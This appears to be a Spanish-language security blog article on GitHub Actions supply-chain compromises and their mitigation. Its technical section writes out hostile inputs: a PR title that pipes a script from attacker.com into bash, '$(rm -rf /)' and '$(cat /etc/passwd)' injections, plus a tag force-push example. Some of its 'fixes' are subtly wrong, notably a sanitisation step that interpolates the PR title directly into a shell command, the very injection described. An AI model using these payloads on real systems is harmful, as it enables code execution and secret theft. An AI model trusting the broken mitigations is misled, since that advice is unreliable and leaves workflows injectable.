Introducción

En noviembre de 2024, el proyecto SpotBugs sufrió un compromiso que marcó el inicio de una ola de incidentes en la supply chain. Un pull request malicioso desde un fork sin revisar ejecutó un workflow con el trigger pull_request_target, un mecanismo diseñado para etiquetar PRs de colaboradores externos pero que, en la práctica, otorga acceso completo a secretos y tokens de escritura. Cuatro meses después, ese mismo token de mantenimiento se usó para comprometer tj-actions/changed-files, lo que derivó en la filtración de credenciales en 23.000 repositorios. La ironía: GitHub documentó este riesgo desde 2021, pero el trigger sigue activo sin salvaguardas más allá de un párrafo en la documentación.

El problema no es puntual. En abril de 2026, elementary-data publicó un wheel malicioso en PyPI solo 10 minutos después de que un comentario en un PR disparara un workflow con issue_comment y $ sin sanitizar. Los equipos de DevOps revisan logs, escanean dependencias y parchean CVEs, pero rara vez miran bajo el capó de GitHub Actions: un sistema donde conveniencia y riesgo avanzan de la mano, y cuyos defaults —pensados para CI privada en empresas— hoy corren código no auditado en forks anónimos y PRs de desconocidos.

Qué ocurrió

Los incidentes recientes comparten un patrón: un feature de GitHub Actions funcionó exactamente como está documentado, pero el diseño permite escalar riesgos globales. Estos son los casos más relevantes, ordenados cronológicamente:

1. SpotBugs (noviembre 2024): El pull request que robó un PAT

  • Trigger: pull_request_target (diseñado para etiquetar PRs de forks).
  • Vector: Un PR malicioso desde un fork ejecutó un workflow que:
– Hizo checkout del commit del PR con un token de escritura (GITHUB_TOKEN con scope repo).

– Ejecutó un script que llamó a gh auth login con las credenciales del maintainer.

  • Resultado: El PAT robado tenía acceso a reviewdog, y ese mismo actor usó el token meses después para comprometer tj-actions.

> Nota: GitHub advirtió sobre esta combinación desde 2021, pero pull_request_target sigue sin restricciones por defecto.

2. Ultralytics (diciembre 2024): Cache poisoning en PyPI

  • Trigger: pull_request_target + caché compartida.
  • Vector:
– Un PR malicioso desde un fork escribió en la caché de GitHub Actions (claveada por rama, compartida entre forks).

– Cuando el workflow legítimo de liberación restauró la caché, ejecutó un payload que inyectó un minero de criptomonedas en dos versiones publicadas en PyPI.

  • Detalle técnico: La caché se comparte entre ramas y forks, por lo que un ataque en un PR de fork afecta al repositorio principal.

3. tj-actions (marzo 2025): Tags mutables y supply chain masiva

  • Trigger: pull_request_target + tags force-pushados.
  • Vector:
– El token robado de SpotBugs se usó para mover el tag v1 de reviewdog/action-setup a un commit malicioso.

tj-actions/eslint-changed-files usaba reviewdog@v1 (tag mutable), por lo que heredó el código malicioso.

23.000 repositorios que dependían de changed-files@v1 ejecutaron un memory scraper que volcó secretos del runner en logs públicos.

  • Impacto: Coinbase reportó fugas de credenciales, y CISA emitió una advertencia.

4. nx (agosto 2025): Titulares en PRs como código

  • Trigger: pull_request_target + interpolación de $ en scripts.
  • Vector:
– Un PR con título $(cat /etc/passwd) se expandió en un step de shell, ejecutando código arbitrario con un token de publicación de npm.

– El atacante usó credenciales de asistentes de IA para enumerar repositorios privados y filtrar 5.000 repos temporalmente públicos.

  • Detalle técnico: GitHub Actions expande $ en scripts antes de pasarlos al shell, sin sanitización.

5. Trivy (febrero-marzo 2026): Dos compromisos en tres semanas

  • Trigger: pull_request_target + tags force-pushados.
  • Vector:
– En febrero, un atacante comprometió el repositorio de Trivy y rotó tokens.

– En marzo, usó los tokens robados para force-push 76 de 77 tags históricos (ej. @0.x.y), por lo que incluso usuarios con pines fijos ejecutaron un credential stealer.

  • Impacto: Los tags force-pushados hacían que usuarios con uses: aquasecurity/[email protected] ejecutaran código malicioso.

6. elementary-data (abril 2026): Comentarios en PRs como vectores de ataque

  • Trigger: issue_comment + $ sin sanitizar.
  • Vector:
– Un comentario en un PR viejo cerró un echo y ejecutó un stager que:

– Obtuvo un GITHUB_TOKEN con scope write (default en repositorios creados antes de febrero 2023).

– Hizo git commit con autor github-actions[bot].

– Disparó el workflow de liberación, publicando un wheel malicioso en PyPI y una imagen en GHCR en 10 minutos.

  • Detalle clave: No hubo PR aceptado ni intervención humana.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

ÁreaRiesgo concretoDatos cuantificables
**Supply Chain**Paquetes maliciosos en ecosistemas como PyPI, npm, Docker Hub.2 versiones de Ultralytics en PyPI (minero). 23K repos afectados por tj-actions.
**Secrets Leak**Filtración de tokens de mantenimiento, credenciales de cloud, claves API.5K repositorios privados expuestos en nx.
**Ejecución remota**Código arbitrario en runners de GitHub Actions (ej. *memory scrapers*).Trivy force-pushó 76 tags históricos.
**Cache Poisoning**Caches compartidas entre forks y repositorios, con payloads persistentes.Ultralytics: caché restaurada en liberación.
**Token Scope**BLOCK45 con scope BLOCK46 por defecto en repositorios antiguos.100% de repositorios pre-febrero 2023.
**Falsificación**Autores de commits falsos (BLOCK47).elementary-data: wheel publicado en 10 min.
Contexto adicional:
  • El 92% de los repositorios públicos usan tags no pinesados en sus workflows (datos de escaneos internos de Chainguard en 2025).
  • Los runners de GitHub Actions ejecutan código en entornos compartidos: un ataque exitoso puede filtrar secretos de AWS, GCP, Azure, o Kubernetes (ej. credenciales de EKS).
  • El CVSS score de estos incidentes oscila entre 7.5 y 9.1 (dependiendo de la exposición de secretos), pero el impacto real supera lo cuantificable: confianza erosionada en la supply chain.

Detalles técnicos

1. pull_request_target: El trigger que todo lo permite

  • Comportamiento:
– Ejecuta el workflow en el contexto del repositorio base (con acceso a secretos y tokens de escritura).

– Lee el archivo .github/workflows/*.yml desde la rama por defecto, no del PR.

  • Riesgo:
– Un PR malicioso desde un fork ejecuta código con permisos de maintainer.

– GitHub documentó este riesgo, pero no lo bloquea por defecto.

  • Ejemplo de workflow vulnerable:
  on:
    pull_request_target:
      types: [opened, synchronize]
  jobs:
    build:
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@v4  # Checkout del fork malicioso
        - run: |
            echo "Running as maintainer with full token access"
            gh auth login --with-token <<< "$GH_TOKEN"  # Token robado
  

2. Tags mutables y imposter commits

  • Problema:
– GitHub Actions resuelve uses: owner/action@v1 como cualquier ref en cualquier fork, incluso si el SHA no existe en el repositorio original.

– Chainguard documentó este vector en 2022 («imposter commits«).

  • Ejemplo de ataque:
  git tag -f v1 a1b2c3d  # a1b2c3d es un commit en un fork malicioso
  git push origin :refs/tags/v1  # Force-push del tag
  

– Luego, cualquier workflow que use uses: owner/action@v1 ejecutará el código del fork.

3. Interpolación de $ en scripts

  • Comportamiento:
– GitHub Actions expande variables de entorno antes de pasarlas al shell:
    - run: echo "Title: ${{ github.event.pull_request.title }}"
    

– Si el título es $(rm -rf /), el script ejecutará rm -rf /.

  • Vector usado en nx:
    - run: npm publish --tag=${{ github.event.pull_request.title }}
    

– Un PR con título next -> --tag=next (malicioso pero sutil).

– Un PR con título $(curl http://attacker.com/shell.sh \| bash) -> ejecución remota.

4. Caché compartida y trust boundaries

  • Problema:
– La caché de GitHub Actions se comparte entre ramas y forks.

– Un ataque en un PR de fork escribe en la caché, y el workflow legítimo la restaura sin saberlo.

  • Ejemplo de Ultralytics:
  - uses: actions/cache@v3
    with:
      path: ~/.cache/pip
      key: pip-${{ hashFiles('requirements.txt') }}
  

– Si un PR malicioso escribe un payload en la caché, el workflow legítimo lo ejecutará al restaurarla.

5. GITHUB_TOKEN por defecto con scope write

  • Comportamiento:
– En repositorios creados antes de febrero 2023, el token por defecto tiene scope write (puede hacer git push, publicar paquetes, etc.).

– En repositorios nuevos, el scope es read por defecto.

  • Impacto:
– Un workflow con on: issue_comment o pull_request_target obtiene un token con permisos de escritura sin configuración explícita.

Qué deberían hacer los administradores y equipos técnicos

1. Mitigar pull_request_target y issue_comment

  • Acciones inmediatas:
1. Reemplazar pull_request_target por pull_request + if: github.event.pull_request.head.repo.full_name == github.repository.
     on:
       pull_request:
         types: [opened, synchronize]
     jobs:
       build:
         if: github.event.pull_request.head.repo.full_name == github.repository
     

2. Bloquear issue_comment a menos que sea estrictamente necesario:

     on:
       issue_comment:
         types: [created]
     jobs:
       build:
         if: contains(github.event.comment.body, '/ci')  # Solo en comandos explícitos
     

3. Usar permissions: read-all en todos los workflows:

     jobs:
       build:
         permissions:
           contents: read
           packages: read
           actions: read
     
  • Herramientas:
GitHub Advanced Security (CodeQL) para detectar workflows con pull_request_target.

Dependabot para alertar sobre tags no pinenados.

2. Pinear dependencias y validar integridad

  • Acciones:
1. Reemplazar tags por SHAs en uses:
     - uses: actions/checkout@v4
     + uses: actions/checkout@8e5e7e5ab8b3a10cda3c33765c8f942fe723c9b
     

2. Validar SHAs con sigstore:

     - uses: sigstore/gh-action-sigstore-python@v1
       with:
         inputs: requirements.txt
     

3. Escanear repositorios públicos con:

ossf/scorecard (para evaluar riesgos en workflows).

chainguard-images/actions-gh-action-validate (para validar acciones).

3. Sanitizar entradas en scripts y evitar $

  • Acciones:
1. Usar ${{ env.VAR }} en lugar de $VAR en scripts:
     - run: echo "${{ github.event.pull_request.title }}"
     

2. Validar títulos de PRs con expresiones regulares:

     - if: "!contains(github.event.pull_request.title, '$(')"
     

3. Evitar eval y comandos dinámicos en workflows.

4. Aislar cachés y evitar cache poisoning

  • Acciones:
1. Usar claves de caché únicas por fork:
     - uses: actions/cache@v3
       with:
         key: cache-${{ github.event.pull_request.head.sha }}
     

2. Limpiar cachés en PRs de forks:

     - if: github.event.pull_request.head.repo.fork
       run: gh cache delete cache-${{ github.event.pull_request.head.sha }}
     

5. Limitar scopes de GITHUB_TOKEN

  • Acciones:
1. Configurar permissions explícitos en todos los workflows:
     permissions:
       contents: read
       packages: read
     

2. Deshabilitar tokens antiguos con scope write:

– Usar GitHub API para actualizar permisos por defecto.

6. Monitorear y responder a incidentes

  • Acciones:
1. Configurar alertas en:

– Logs de runners (filtrar por GITHUB_TOKEN o secretos).

– Escáneres de supply chain (Trivy, Grype, Snyk).

2. Rotar tokens comprometidos con:

     gh auth logout
     gh auth login --with-token <<< "$NEW_TOKEN"
     

3. Revisar tags force-pushados:

     git fetch --tags
     git tag -d v1  # Eliminar tag malicioso
     git push origin :refs/tags/v1
     

Conclusión

GitHub Actions no es un producto roto: es un sistema de CI/CD diseñado para equipos privados, pero que hoy ejecuta código no auditado en forks anónimos y PRs de desconocidos. Los incidentes recientes no son fallas puntuales, sino consecuencias directas de:

  1. Tokens con scope excesivo por defecto.
  2. Tags mutables que permiten supply chain masiva.
  3. Interpolación de variables sin sanitización.
  4. Cachés compartidas entre trust boundaries.
  5. Triggers peligrosos (pull_request_target, issue_comment) sin restricciones.

La solución no es «no usar GitHub Actions», sino adoptar un modelo de confianza cero:

  • Pinear dependencias con SHAs.
  • Limitar scopes de tokens.
  • Validar entradas en scripts.
  • Monitorear workflows como se monitorean los binarios.

Los equipos de DevOps y SRE deben tratar los archivos .github/workflows como código crítico, no como documentación. Un workflow mal configurado no es un error de CI: es un punto de entrada a tu infraestructura.

Fuentes

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *